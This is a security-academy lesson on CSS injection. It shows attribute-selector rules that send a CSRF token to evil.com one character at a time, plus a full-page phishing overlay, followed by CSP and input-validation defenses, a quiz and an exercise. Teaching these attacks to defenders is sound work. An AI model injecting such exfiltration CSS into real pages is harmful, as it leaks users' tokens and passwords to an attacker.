Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
Academy CSS Injection
Intermediate · 20 min

CSS Injection

Learn how injected CSS can exfiltrate sensitive data and render phishing overlays on legitimate pages.

1 CSS Injection Attacks

CSS injection occurs when an attacker can inject arbitrary CSS into a page. Even without JavaScript, injected CSS enables powerful attacks:

Data exfiltration via attribute selectors:

/* If CSRF token is in a hidden input */
input[value^="a"] { background: url(https://evil.com/steal?c=a); }
input[value^="ab"] { background: url(https://evil.com/steal?c=ab); }
/* Attacker iterates all prefixes to reconstruct the token */

This technique sends one character at a time to the attacker by loading a URL when the attribute selector matches. It can reconstruct CSRF tokens, one-time passwords, or any attribute value present in the HTML.

Phishing overlay:

body::after {
  content: "";
  position: fixed;
  top: 0; left: 0; right: 0; bottom: 0;
  background: white;
  z-index: 9999;
  /* Could contain a fake login form image */
}

2 Prevention

Prevent CSS injection by strictly sanitizing user input that influences styles, and use Content Security Policy to restrict which stylesheets can load.

Strict CSP for styles:

Content-Security-Policy: style-src 'self'; img-src 'self'

This blocks external image loads triggered by CSS attribute selectors, defeating the exfiltration technique.

Sanitize style inputs:

// If users can set a theme color, validate it strictly
function validateColor(color) {
  // Only allow valid hex colors or named colors
  if (!/^#[0-9a-f]{3,6}$/i.test(color) && 
      !CSS.supports("color", color)) {
    throw new Error("Invalid color");
  }
  return color;
}

Defense checklist:

  • Never place raw user input into style attributes or CSS blocks
  • Validate color, size, and URL values with strict patterns
  • Set style-src in CSP to self only (no unsafe-inline)
  • Block external resource loading via img-src/font-src in CSP

Knowledge Check

0/3 correct
Q1

How can CSS attribute selectors be used to exfiltrate data without JavaScript?

Q2

Which CSP directive most directly prevents CSS injection data exfiltration via image loading?

Q3

What should you do before inserting user-controlled color values into CSS?

Code Exercise

Validate User Theme Color

The code applies a user-chosen color directly to a CSS variable without validation. Add validation to ensure only valid hex color values are accepted.

javascript